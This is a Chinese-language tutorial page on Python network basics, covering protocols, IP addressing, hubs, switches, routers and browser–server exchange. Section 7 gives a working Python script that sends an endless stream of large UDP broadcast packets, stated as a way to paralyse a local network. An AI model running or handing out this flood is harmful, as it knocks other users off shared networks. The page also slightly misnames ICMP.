python网络通信图文详解

 更新时间:2021年08月17日 10:34:01   作者:专职  
这篇文章主要介绍了Python网络编程详解,涉及具体代码示例,还是挺不错的,这里分享给大家,供需要的朋友参考,希望能给你带来帮助

1. 常用的网络协议

ICMP协议又叫:网络控制协议 

2. 数据传输过程

3.  两台电脑通信

网络传输的是数据的信号而不是电流

4. IP地址网络号与主机号的确定规则 

通过ip地址和网络掩码的二进制数实行按位与运算,计算的结果转换为十进制,非0的就是网络号,0的就是主机号

 

5.  最开始集线器解决多台电脑通信

但是集线器是以广播的形式发送数据,设备一多就会导致网络拥堵。

 6. 使用交换机进行网络通信

单播写对方的mac地址,广播mac地址写6组FF:FF:FF:FF:FF:FF

 

7. 使用udp协议实现内网瘫痪

先根据IP地址和网络掩码二进制按位与计算出网络号,在使用udp往当前局域网(网络号)下面无线循环发广播,使局域网濒临瘫痪

import socket  # 导入socket


def main():
    try:
        # 1、创建socket套接字
        udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # socket.SOCK_DGRAM 这里是指定UDP协议

        # 2、指定地址
        data_address = ("192.168.255.255", 64300)
        # 地址要是一个 元组,第一个"192.168.100.255"是内网的广播地址,第二个 64300 是你计算机当前的端口#
        # 这个端口不必太在意,64300 只要不是被其他程序占用的就行,

        # 3、发送数据
        while True:
            send_data = "1" * 57175
            # 这里发送的数据可以随意点

            udp_socket.sendto(send_data.encode("UTF-8"), data_address)
            # 第一个参数sendData.encode("UTF-8")是要发送的数据,("UTF-8")是设置发送数据的编码,
            # 第二个参数(dataAddress)是发送数据的地址,也就是笔者内网的广播地址

    except Exception as result:
        print("未知错误" + str(result))


if __name__ == '__main__':
    main()

8. 使用路由器连接多个网络

路由器的作用:连接两个以上的网络为一个大网络

网关:具有转发数据能力的设备

当AB两台电脑不在同一个网络下想进行通信时,A电脑需要先把数据发送到默认网关,网关具有转发数据的能力,网关再把数据转发给B电脑,默认网关一般都是路由器

数据在转发的过程当中,ip地址不变,mac地址每转发一次就发生一次变化

9. 浏览器访问服务器的过程

(1)向DNS服务器发送请求进行解析域名

(2)向http服务器发送3次握手

(3)握手成功后,向http服务器发送Http格式的请求数据

(4)所有请求完毕后,向http服务器发送4次挥手

网络数据包发送过程当中源IP目标IP不变,源mac和目标mac每通过路由器网关转发一次就会发生一次变化

总结

本篇文章就到这里了,希望能给你带来帮助,也希望您能够多多关注脚本之家的更多内容!

相关文章

  • Python Pandas pandas.read_sql函数实例用法

    Python Pandas pandas.read_sql函数实例用法

    在本篇文章里小编给大家整理的是一篇关于Python Pandas pandas.read_sql函数详解内容,有需要的朋友们可以学习下。
    2021-06-06
  • python基于windows平台锁定键盘输入的方法

    python基于windows平台锁定键盘输入的方法

    这篇文章主要介绍了python基于windows平台锁定键盘输入的方法,涉及Python中调用user32.dll中BlockInput方法的技巧,具有一定参考借鉴价值,需要的朋友可以参考下
    2015-03-03
  • Python中的并发处理之asyncio包使用的详解

    Python中的并发处理之asyncio包使用的详解

    本篇文章主要介绍了Python中的并发处理之asyncio包使用的详解,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2018-04-04
  • pandas中关于nan的处理方式

    pandas中关于nan的处理方式

    这篇文章主要介绍了pandas中关于nan的处理方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2024-02-02
  • python 如何通过KNN来填充缺失值

    python 如何通过KNN来填充缺失值

    这篇文章主要介绍了python 通过KNN来填充缺失值的操作,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2021-05-05
  • python实现扫雷小游戏

    python实现扫雷小游戏

    这篇文章主要为大家详细介绍了python实现扫雷小游戏,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2020-04-04
  • python 中的 BeautifulSoup 网页使用方法解析

    python 中的 BeautifulSoup 网页使用方法解析

    这篇文章主要介绍了python 中的 BeautifulSoup 网页使用方法解析,文章基于python的相关资料展开详细内容介绍,具有一定的参考价值需要的小伙伴可以参考一下
    2022-04-04
  • python里反向传播算法详解

    python里反向传播算法详解

    在本篇文章了小编给大家整理的是一篇关于python里反向传播算法详解内容,有兴趣的朋友们可以学习下。
    2020-11-11
  • python+mysql实现个人论文管理系统

    python+mysql实现个人论文管理系统

    这篇文章主要为大家详细介绍了python+mysql实现个人论文管理系统,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2019-10-10
  • 详解python关于多级包之间的引用问题

    详解python关于多级包之间的引用问题

    本文主要介绍了python关于多级包之间的引用问题,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2021-08-08

最新评论